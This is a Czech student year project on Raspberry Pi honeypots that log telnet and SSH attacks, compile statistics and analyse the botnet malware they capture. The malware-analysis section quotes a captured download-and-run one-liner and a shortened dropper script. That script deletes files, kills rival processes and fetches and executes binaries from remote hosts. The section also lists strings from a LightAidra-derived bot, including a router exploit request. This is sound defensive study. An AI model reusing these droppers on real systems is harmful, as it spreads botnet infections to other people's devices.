rocnikovy_projekt_pe..

Transkript

rocnikovy_projekt_pe..
Gymnázium, Praha 6, Arabská 16
předmět Programování a Aplikační Software, vyučující Tomáš Obdržálek
a Martin Krotil
Záznam, analýza a obrana proti
botnet útokům
s využitím mikropočítače Raspberry Pi
ročníkový projekt
Alex Peterka, 1E
leden – květen 2014
Anotace: cílem ročníkového projektu bylo zaznamenat útoky botnetů (sítě zařízení napadených škodlivým
kódem – malwarem) na území České republiky, analyzovat je a vytvořit program pro jejich detekci, který by
zabránil opětovnému pokusu o napadení z útočící IP adresy (nebo celého IP bloku). Všechny uvedené materiály
včetně zdrojových kódů byly vyvinuty speciálně pro mikropočítač Raspberry Pi (model B), ale vzhledem k
použitému programovacímu jazyku (Python a Bash) a vzájemné kompatibilitě Linuxových distribucí je možné s
žádnými nebo pouze malými změnami uvedené postupy a programy aplikovat na jakýkoliv osobní počítač nebo
server s libovolnou architekturou procesoru, vybavený Linuxovým (pravděpodobně i jiným na UNIXu
založeným) systémem.
Anotation: main goal of this year project was to log attacks of botnets (networks of devices compromised
with malicious code – malware) in the area of Czech republic, analyse them and create program for detection
of such attacks, which will prevent from repeating attack attempts from given IP adress (or the whole IP
block). All materials and source codes were specifically for Raspberry Pi (model B) microcomputer, but thanks
to the used programing language (Python and Bash) and compatibility of Linux distributions it's possible with
no or only small changes the provided procedures and programs apply to any personal computer or server with
any procesor architecture, equipped with Linux (and probably even with other UNIX based) systém.
Poznámka: tato ročníková práce je v této podobě dostupná pouze v českém jazyce. Anglická verze bude
časem publikována na webových stránkách autora: http://alexp.cz
Note: this year project in this form is avaible in czech language only. English version will be published sooner
or later on authors webpage: http://alexp.cz
1
Prohlášení
Prohlašuji, že jsem jediným autorem tohoto projektu, všechny citace jsou řádně označené a
všechna použitá literatura a další zdroje jsou v práci uvedené. Tímto dle zákona 121/2000 Sb.
(tzv. Autorský zákon) ve znění pozdějších předpisů uděluji bezúplatně škole Gymnázium, Praha 6,
Arabská 14 oprávnění k výkonu práva na rozmnožování díla (§ 13) a práva na sdělování díla
veřejnosti (§ 18) na dobu časově neomezenou a bez omezení územního rozsahu. Veškerý obsah
(text včetně zdrojových kódů a dalších příloh) je licencován pod Creative Commons BY-NC-SA Uveďte autora – Nevyužívejte komerčně – Zachovejte licenci. Plné znění licence naleznete na:
http://creativecommons.org/licenses/by-nc-sa/3.0/cz/legalcode
This project is licensed under CC BY-NC-SA. The full text can be found at:
http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
Schválené zadání
1. Nastavení falešného telnet a SSH démona 1
2. Statistické zpracovávání průběžných výsledků
3. Záznam aktivity útočníka v simulovaném UNIX-like systému
4. Zjištění základních informací o útočící IP adrese
5. Nmap scan útočící IP adresy a pokus o určení zranitelnosti, která vedla ke kompromitaci systému a jeho
začlenění do botnetu
6. vytvoření nového pravidla pro iptables, které zabrání dalším pokusům o připojení
7. automatizace kroků 2 až 6
Obsah
Prohlášení..................................................................................................................................................................... 2
Schválené zadání.......................................................................................................................................................... 2
Úvod do problematiky a stručná historie................................................................................................................ 3
Honeypot – falešný telnet a SSH démon................................................................................................................. 4
Nastavení SSH honeypotu - kippo....................................................................................................................... 4
Nastavení telnet honeypotu – rpi-telnet-honeypot a netcat.........................................................................4
Statistické zpracování dat SSH honeypotu – kippo-graph a shell.......................................................................6
Statistické zpracování dat telnet honeypotu – shell............................................................................................. 8
Zjištění informací o útočníkovi – geoiplookup, whois a nmap.............................................................................8
Analýza aktivity útočníka a binárních souborů – binwalk, strings a další...........................................................9
Závěr............................................................................................................................................................................ 12
1
Ve výsledku jsem monitoroval i jiné porty než 23 (telnet) a 22 (SSH).
2
Úvod do problematiky a stručná historie
Snahy o nabourání se do cizích počítačových systémů jsou staré jako počítače samé. Pokusy o jejich
propojení do sítě a následné zneužití nově vzniklého botnetu jsou ovšem záležitostí spíše posledních 10
let. První významnější botnet zvaný jednoduše „Storm“ (anglicky „Bouřka“) byl poprvé detekován v lednu
roku 2007 a stejně tak jako desítky jeho následovníků se rozesílal spam (nevyžádanou poštu), kterým se
také šířil. O tom že se tato metoda ukázala být účinnou svědčí i počet počítačů nakažených ve „špičce“ v
září stejného roku, je odhadován na 1 až 50 miliónů.
Tak jako se zdokonalují antiviry a bezpečnostní systémy, přibývají funkce i botnetům. Spam časem
nahradili útoky typu DDoS (Distributed Denial Of Service – distribuované znepřístupnění služby) které
slouží k dočasnému vyřazení webových stránek z provozu, často využívané při politicky motivovaných
kybernetických útocích.
Rozšířilo se i pole jejich působnosti. Již dávno škodlivý kód neútočí jenom na osobní počítače. Pokud
uživatel nezměnil po zakoupení heslo na svůj router nebo set-top-box, je vysoce pravděpodobné že je
součástí většího celku. S expanzí chytrých telefonů došlo i k vývoji virů zaměřených pouze na ně. A právě
botnety tvořené přístroji které běžní uživatelé považují za součást domácího vybavení, zažívají v poslední
době rozmach.
3
Honeypot – falešný telnet a SSH démon
Pro detekci útoků z internetu, jsem nastavil dvě falešné služby, které odpovídali na útočníkem zadaná
data a simulovali tak chování skutečného systému:
• SSH server s požadavkem na přihlášení
•
telnet server bez hesla, ihned po přihlášení se zobrazil simulovaný, UNIX shell
později sem ještě začal bez interakce (pouze jsem zaznamenával přijatá data) monitorovat porty:
• 139 (Windows SMB – služba pro sdílení souborů a tiskáren)
•
5900 (VNC – vzdálená plocha)
•
21 (FTP)
Nastavení SSH honeypotu - kippo
K simulování SSH serveru, záznamu pokusů o přihlášení a logování následné činnosti na 'nabouraném'
zařízení, jsem použil software kippo SSH honeypot. Oficiální stránka projektu je :
http://kippo.googlecode.com
Instalace je popsána v přiloženém dokumentu 'Kippo_instalace'.
Spuštění v adresáři s funkční instalací programu, probíhá vykonáním příkazu:
sudo ./start.sh
Textový záznam běhu programu (log) je ukládán do souboru /kippo-read-only/log/kippo.log a /kipporead-only/kippo-textlog.txt.
Nastavení telnet honeypotu – rpi-telnet-honeypot a
netcat
Pro záznam útoků na službu telnet (které jsou, jak jsem později zjistil, nejčastější), jsem použil upravený
telnet démon od autorů Hilt Thomas a Rémi Santato. Původní projekt se nachází na adrese:
https://gitorious.org/honeypot
Mnou modifikovaná verze je dostupná na:
https://github.com/AlexPeterka/rpi-telnet-honeypot
Původní i mnou upravená verze se ve funkčnosti neliší a princip zůstává stejný. Útočník po připojení na
port 23 (defaultní pro službu telnet) bez zadání jakéhokoliv hesla získá přístup do chroot prostředí ve
složce 'chroot'. Fungují pouze příkazy, pro které se ve složce 'chroot' nachází spustitelné binární soubory a
bez dostupnosti programu jako 'wget' nebo 'curl' útočník nemůže stáhnout žádné další. Vzhledem k tomu,
že útočníkem většinou bývá program, který nekontroluje vrácená data (chybové hlášky nebo oznámení o
úspěšném provedení příkazu), je dokonce možné veškerý obsah složky 'chroot' smazat. Stejně tak, lze pro
imitaci skutečného systému přidat konfigurační soubory nebo další data.
Sprovoznění programu rpi-telnet-honeypot:
4
sudo apt-get install git-core
git clone https://github.com/AlexPeterka/rpi-telnet-honeypot.git
cd ~/rpi-telnet-honeypot
./make.sh
Uvnitř adresáře 'rpi-telnet-honeypot' umístěného v domovské složce aktuálního uživatele (pokud byly
zdrojové kódy stažené tam) se nyní nachází spustitelný soubor 'telnetd' a záznam aktivity útočníků.
Program bohužel nezaznamenává IP adresu ani čas připojení. To je možné částečně řešit buď přidáním
nového pravidla iptables:
iptables -A INPUT -p tcp -j LOG --log-prefix 'INPUT TCP' --log-level 4 --dport 23
přičemž záznam bude veden do /var/log/messages nebo /var/log/syslog (nelze ovšem (jednoduše)
spárovat s aktivitou útočníka), nebo použitím následující metody.
Netcat je někdy přezdíván 'švýcarský nůž pro TCP/IP', jde o UNIXový program který umožnuje vytvářet
připojení přes TCP nebo naslouchat na určitém portu. Druhé zmíněné možnosti jsem využil a napsal jsem
jednoduchý BASH skript který celý proces tvorby honeypotu (na libovolném portu) automatizuje. Aktuální
verzi lze získat na:
https://gist.github.com/AlexPeterka/96bc8f3b0118f2c49f24
Skript zkopírovaný do souboru 'hpot.sh' je možné spustit tímto způsobem:
sudo apt-get install netcat
chmod +x hpot.sh
bash ./hpot.sh <číslo_portu>
výstup (log) programu je soubor hpot.<číslo_portu>.log, kde je zaznamenán jak čas, tak i IP adresa
útočníka.
Tři pokusy o připojení, bez žádné vykonané aktivity, v textovém záznamu pak vypadají následovně:
TIME: Fri May 16 16:56:59 CEST 2014
Connection from 178.23.137.168:1859
TIME: Fri May 16 17:15:20 CEST 2014
Connection from 178.67.171.196:2563
TIME: Fri May 16 17:39:21 CEST 2014
Connection from 190.84.233.254:33747
Pro další použití jsem vytvořil mírně odlišnou verzi téhož, která ale každý pokus o připojení odmítne. Je
dostupná na adrese:
https://gist.github.com/AlexPeterka/c6c6e1ad9a21feaf0f90
I na netcatu vytvořený telnet honeypot má ale nevýhody. První z nich je nemožnost většího počtu
připojení. Pokud je někdo připojen, všechna příchozí spojení budou zamítnuta. Zadruhé, jsem nepřišel na
způsob, jak vypsat 'banner' – uvítací dialog nebo nějakou známku úspěšně provedeného 'přihlášení' do
systému, což se projevuje tím, že si útočník není jistý jestli se útok povedl a proto obvykle nevykoná
příkazy.
Dalo by se tedy říci, že první varianta (rpi-telnet-honeypot) slouží k monitorování aktivity, zatímco druhá
ke sledování příchozích spojení. Při potřebě logovat čas, IP adresu i aktivitu útočníka, by řešení spočívalo v
úpravě programu rpi-telnet-honeypot.
Nakonec se ukázalo, že nejde o problém, a tak jsem se přidáním této funkce už nezabýval.
5
Statistické zpracování dat SSH honeypotu –
kippo-graph a shell
Kippo umožňuje všechny údaje přehledně ukládat do MySQL databáze, což situaci hodně zjednodušuje.
Při tvoření statistik jsem využil hlavně webové rozhraní kippo-graph, které je dostupné ke stažení na
adrese:
http://bruteforce.gr/kippo-graph
Instalace je popsána v přiloženém dokumentu 'Kippo-graph_instalace'.
Grafické rozhraní SSH honeypotu, bude dostupné na adrese:
http://<ip_adresa_zařízení>/kippo-graph/index.php
Výstup programu kippo-graph:
Ilustrace 1: Nejčastěji zkoušená přihlašovací jména
6
Ilustrace 2: Nejčastěji zkoušená hesla
Ilustrace 3: 10 nejčastěji zkoušených kombinací jméno/heslo
Kompletní statistické údaje SSH honeypotu vygenerované programem kippo-graph jsou součástí přílohy
ročníkové práce.
O statistické zpracování výstupu programu kippo jsem se pokusil také v terminálu, napsal jsem skript
'stats-kippo-log.sh', jehož aktuální verze je dostupná na:
https://gist.github.com/AlexPeterka/cf947fc273cc5a950b04
který po zadání přístupové cesty k textovému logu, zobrazí:
• celkový počet počet připojení
7
•
počet úspěšných pokusů o přihlášení
•
počet neúspěšných pokusů o přihlášení
•
počet unikátních IP adres
Výstup programu, může vypadat následovně:
alex@aspire:~/Routex$ ./stats-kippo-log.sh /home/alex/log/kippo-textlog.log
Celkový počet připojení: 664
Počet špatně zadaných údajů: 6832
Počet správně zadaných údajů: 130
Počet unikátních IP adres: 206
Statistické zpracování dat telnet honeypotu –
shell
Pro potřebu zobrazování statistik telnet honeypotu, jsem napsal skript 'stats-telnet-log.sh', jehož aktuální
verze je dostupná na:
https://gist.github.com/AlexPeterka/bf62cfb4234d7ac5c14e
který po zvolení typu vstupu a případném zadání přístupové cesty k logu generovanému programem
'hpot.sh' zobrazí:
• Celkový počet pokusů o připojení
•
Datum a čas zahájení prvního útoku
•
Datum a čas zahájení posledního útoku
•
Počet unikátních IP adres
Tyto údaje hledá v:
1. /var/log/syslog – log iptables s prefixem 'INPUT TCP' (viz nastavování telnet honeypotu)
2. souboru, který zadá uživatel. Očekáván je výstup programu hpot.sh
Příklad výstupu programu 'stats-telnet-log.sh' s možností '-iptables'
alex@aspire:~/Routex$ ./stats-telnet-log.sh -iptables
Celkový počet připojení: 21233
První útok zahájen: May 17 17:37:33
Poslední útok zahájen: May 17 18:40:41
Počet unikátních IP adres: 8970
Příklad výstupu programu 'stats-telnet-log.sh' s možností '-hpot' a souborem 'hpot.log' v aktuálním
adresáři:
alex@aspire:~/Routex$ ./stats-telnet-log.sh -hpot hpot.log
Celkový počet připojení: 38
První útok zahájen: Fri May 16
Poslední útok zahájen: Sat May 17
Počet unikátních IP adres: 38
8
Zjištění informací o útočníkovi – geoiplookup,
whois a nmap
Pro podniknutí dalších kroků, je potřeba o útočníkovi / útočící IP adrese zjistit nějaké informace.
Jednoduše dostupné jsou:
• přibližnou polohu
•
jméno majitele nebo poskytovatele
•
čísla otevřených portů
Ke zjištění geografických údajů, jsem použil nástroj 'geoiplookup'. Na Debianu založených operačních
systémech, je možné ho nainstalovat příkazem:
sudo apt-get install geoip-bin
Verzi použité geolokační databáze, lze zjistit:
alex@aspire:~$ geoiplookup 8.8.8.8 -v
V mém případě šlo o:
GeoIP Country Edition: GEO-106FREE 20140407 Build
GeoIP Country V6 Edition: GEO-106FREE 20140407 Build
Zjištění informací o jedné IP adrese probíhá tímto způsobem:
geoiplookup <ip_adresa>
Jméno majitele, velice často tedy název poskytovatele, dané IP adresy, lze zjistit 'zeptáním' se whois
serverů. K tomuto účelu slouží stejnojmená utilita 'whois', její nejaktuálnější verze je v podobě GIT
repozitáře hostovaná na:
https://github.com/rfc1036/whois
Instalace probíhá takto:
git clone https://github.com/rfc1036/whois.git
cd whois
make
sudo make install
V operačním systému Raspbian (a pravděpodobně i dalších Linuxových distribucích) lze též nainstalovat z
repozitářů:
sudo apt-get install whois
Použití je přímočaré:
whois <doména_nebo_ip_adresa>
Čísla otevřených portů a služby které na nich běží, jsem se rozhodl zjistit oblíbeným nástrojem nmap.
Příslušný balíček se nachází repozitářích většiny distribucí, některé distribuce jej mají dokonce
předinstalovaný (například Kali Linux, Backbox, BlackArch, BackTrack a další). Na OS Raspbian, je možné jej
přidat příkazem:
sudo apt-get install nmap
9
Pouze pro skenování portů, stačí zadat jako argument IP adresu:
nmap <ip_adresa>
Nmap má mnoho dalších možností, například 'agresivní' scan, za pomoci přepínače '-A', který se pokusí
identifikovat verzi operačního systému a informace o běžících službách. Nutno podotknout, že nesprávné
použití programu, může vyřadit skenovaný počítač z provozu, což může mít za následek právní kroky ze
strany poškozeného. Stejně tak, je samozřejmě nelegální, neoprávněný přístup do cizích zařízení, na
základě takto nabitých znalostí.
Všechny výše uvedené postupy, jsem zautomatizoval ve skriptu 'get-info.sh'. Očekává se IP adresa jako
argument, výstupem je soubor 'info-<ip_adresa>'.
Analýza aktivity útočníka a binárních
souborů – binwalk, strings a další
Mimo samotný záznam, jsem se také rozhodl pochopit příkazy, které se útočník na stroji pokusil spustit a
analyzovat binární (spustitelné, zkompilované – bez zdrojového kódu) soubory.
Použil jsem program binwalk, dostupný na adrese:
http://binwalk.org
a standardní sadu UNIXových nástrojů dostupných v Linuxové distribuci Ubuntu 14.04. Pro pochopení
procesu, který taková anlýza obnáší, uvedu modelový příklad.
V textovém logu, programu rpi-telnet-honeypot, byla zachycena následující sekvence:
rm -rf /var/run/.bin.sh && wget -c http://91.121.21.139/WGA/.bin.sh -P /var/run && sh
/var/run/.bin.sh &
Pokud půjdeme postupně po zachycených datech, zjistíme, že útočník se snažil o:
• odstranění souboru /var/run/.bin.sh
•
stažení http://91.121.21.139/WGA/.bin.sh do složky /var/run
•
spuštění souboru /var/run/.bin.sh na pozadí
Stažený soubor getbinaries.sh, má následující obsah (zkráceno):
#!/bin/sh
# THIS SCRIPT DOWNLOAD THE BINARIES INTO ROUTER.
# UPLOAD GETBINARIES.SH IN YOUR HTTPD.
# YOUR HTTPD SERVER
REFERENCE_HTTP="http://62.113.243.188/"
# NAME OF BINARIES (UPLOADED IN YOUR HTTPD)
REFERENCE_MIPSEL=".logd_mx"
REFERENCE_MIPS=".logd_ms"
REFERENCE_SUPERH=".logd_sh"
REFERENCE_ARM=".logd_ax"
REFERENCE_PPC=".logd_px"
REFERENCE_X86="x86"
rm -fr /var/run/$REFERENCE_MIPSEL /var/run/$REFERENCE_MIPS /var/run/$REFERENCE_SUPERH
/var/run/$REFERENCE_ARM /var/run/$REFERENCE_PPC
ulimit -n 4096
10
rm -rf /var/etc/enigma.d
rm -rf /var/run/*
killall -9 a
killall -9 m
killall -9 ms
killall -9 s
killall -9 p
killall -9 m1
killall -9 m2
killall -9 m3
killall -9 m4
killall -9 m5
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPSEL} -P /var/run && chmod +x /var/run/$
{REFERENCE_MIPSEL} && /var/run/${REFERENCE_MIPSEL}
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPS} -P /var/run && chmod +x /var/run/$
{REFERENCE_MIPS} && /var/run/${REFERENCE_MIPS}
wget -c ${REFERENCE_HTTP}/${REFERENCE_ARM} -P /var/run && chmod +x /var/run/$
{REFERENCE_ARM} && /var/run/${REFERENCE_ARM}
wget -c ${REFERENCE_HTTP}/${REFERENCE_PPC} -P /var/run && chmod +x /var/run/$
{REFERENCE_PPC} && /var/run/${REFERENCE_PPC}
wget -c ${REFERENCE_HTTP}/${REFERENCE_SUPERH} -P /var/run && chmod +x /var/run/$
{REFERENCE_SUPERH} && /var/run/${REFERENCE_SUPERH}
wget -c ${REFERENCE_HTTP}/${REFERENCE_X86} -P /var/tmp && chmod +x /var/run/$
{REFERENCE_X86} && /var/run/${REFERENCE_X86}
Skript dělá toto:
• vytvoří proměnnou 'REFERENCE_HTTP' ve které je uložená IP adresa odkud budou stahovány další
soubory
• vytvoří proměnné REFERENCE_* které obsahují jména binárních souborů (samotný malware) pro
různé procesorové architektury
• odstraní kopii sebe sama a další malware ('zbavení se konkurence')
•
•
pomocí příkazu 'ulimit' omezí systémové zdroje (prevence před podezřením z důvodu zasekávání
se napadeného zařízení)
stáhne a pokusí se spustit binární soubory
Po stáhnutí binárního souboru z adresy http://62.113.243.188/.logd_ax, lze použít program 'strings' pro
zobrazení textových řetězců. Výstupem je (zkráceno):
146.255.36.1
GET /plain HTTP/1.0
Host: ipecho.net
%d.%d.%*s.%*s
SWU7TZZ7TVX7SZV5Z|Y|
%d.%d.%d.%d
/var/run/.daemon.pid
<>@_;:,.-+*^?=)(|AB&%$D"!
wkyxzvutsrqponmlihgfedcba~1234567890UCK0123456789abcdefghilmnopqrstuvzywkxABCDEFGHILMNOPQRS
TUVZYWKX|:.^
->%s
%s %s
LISTEN
NICK %s
USER LndTm localhost localhost :deadman modd-2014
PRIVMSG %s :[waitpid] zombie process was killed.
TOPIC %s
PING :31337
%127s%31s%31s%31s%31s%31s%31s%31s
:.advscan->recursive
:.advscan->random->b
[...]
PRIVMSG %s :[checkup] pwning completed!, (pwned: %u in range: %s.%s.0.0/16)
POST /cgi-bin/firmwarecfg HTTP/1.1
Host: $IP
11
User-Agent: veryprivateacsor
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*
/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Zajímavý je řetězec '146.255.36', což je pravděpodobně IP adresa kontrolního serveru. Zbytek dává tušit,
že jde o příklad botnetu kontrolovaného přes IRC (Internet Relay Chat).
Také je možné si všimnout řetězce 'LndTm', který prozrazuje přezdívku tvůrce. Internetový vyhledávač
Google, odkazuje na Italskou odnož skupiny Anonymous.
'POST /cgi-bin/firmwarecfg HTTP/1.1 ' je zase součástí exploitace (zneužití) zranitelnosti v určitém typu
routerů. Pravděpodobně, tak botnet hledá potenciální cíle pro svou další fázi.
Analýzu binárního souboru, lze samozřejmě také provést spuštěním a sledováním aktivity. K tomu jsem
použil emulátor Scratchbox, který, ale k tomuto účelu není určen (jeho původní zaměření je vývoj aplikací
pro operační systém Maemo použitý na mobilních tabletech firmy Nokia).
Process 13340 attached
Process 13339 suspended
Process 13341 attached (waiting for parent)
Process 13341 resumed (parent 13340 ready)
Process 13339 resumed
Process 13340 detached
[pid 13339] --- SIGCHLD (Child exited) @ 0 (0) --socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
connect(4, {sa_family=AF_INET, sin_port=htons(5060),
sin_addr=inet_addr("173.255.249.154")}, 16
Tento výstup, popírá předchozí doměnku, že C&C (Command & Controll – kontrolním) serverem, je
146.255.36.1. Ve skutečnosti se malware připojuje na IP adresu 173.255.249.154 na port 5060.
'Bohužel', k datu psaní této ročníkové práce, C&C server už nefunguje. Pravděpodobně je tomu tak z toho
důvodu, že si hostingová společnost všimla neobvyklé aktivity na jednom ze svých strojů.
Po bližším prozkoumání, zjistíme, že jde o derivát z open-source botnetu LightAidra, který napsal Federico
Fazzi a je dostupný na adrese:
https://github.com/eurialo/lightaidra
Celkem jsem během tří měsíců, zachytil 3 variace tohoto softwaru. Všechny jsou volně dostupné k bližší
analýze na:
https://github.com/AlexPeterka/rpi-botnets/tree/master/aidra
Mimo to, jsem pravděpodobně objevil dosud nepopsaný malware 'mtgox', jehož binární soubor, je
dostupný na adrese:
https://github.com/AlexPeterka/rpi-botnets/tree/master/mtgox
Tento malware má oproti 'Aidře' vlastnost detekce honeypotu, nalezl jsem jej na již napadeném zařízení
(legálně zapůjčeném).
Dále za velký úspěch považuji detekci části malwaru, cílícího na DVR (záznamníky videa ze síťových kamer)
firmy Hikvision, těžícího kryptoměny. Povedlo se mi tak ještě před oficiální zprávou odborníka ze SANS
Institute.
12
Závěr
V současnosti provádím analýzu dalších binárních souborů, detailní popis problémů které řeším, ale
považuji nad rámec této ročníkové práce. S celkovým výsledkem ročníkové práce, jsem spokojen. Myslím, že
jsem se díky ní, naučil lépe pracovat s operačním systémem Linux a programovacím jazykem Bash.
Také jsem se naučil aplikovat základní 'regexy' – regulérní výrazy pro práci s textem.
Dozvěděl sem se víc o počítačové bezpečnosti a technikách útočníků, což považuji za užitečné, při
zabezpečování počítačových systémů.
Zadání jsem v některých oblastech splnil nad rámec požadovaného (a svých očekávání), v jiných jsem
bohužel nestihl udělat vše co jsem si vytyčil. Zejména jsem chtěl více automatizovat systém detekce a
následných 'protikroků'. Na druhou stranu, s kódem, který jsem napsal, se taková úloha stává mnohem
snažší a je velice pravděpodobné, že v blízké době celý projekt dotáhnu do konce.
Celkově vzato, mysím, že ročníková práce byla úspěšná a přinesla mi mnoho nových znalostí.
13

Podobné dokumenty

pro vaše parkoviště

pro vaše parkoviště i na takových místech, jako jsou parkoviště. Proto jsme pro Vás připravili nejmodernější způsob placení prostřednictvím NFC a bezkontaktních technologií. Tak můžete zákazníkům umožnit platbu plateb...

Více

velkoobchod.conrad.cz

velkoobchod.conrad.cz • Pro 6 V a 12 V akumulátory • Pro akumulátory od 30 Ah (12 V) a od 15 Ah (6 V) • Testovací doba: 2 s - 5 s • Vybíjecí proud: 45/100 A • Vhodné také pro solární akumulátory

Více

Války síťových robotů – jak fungují sítě botnets

Války síťových robotů – jak fungují sítě botnets programy, které běží na pozadí a mohou spustit celou řadu automatizovaných operací. Boti se obvykle řídí pomocí příkazů zaslaných prostřednictvím kanálu vytvořeného útočníkem a napadeného boty. Adm...

Více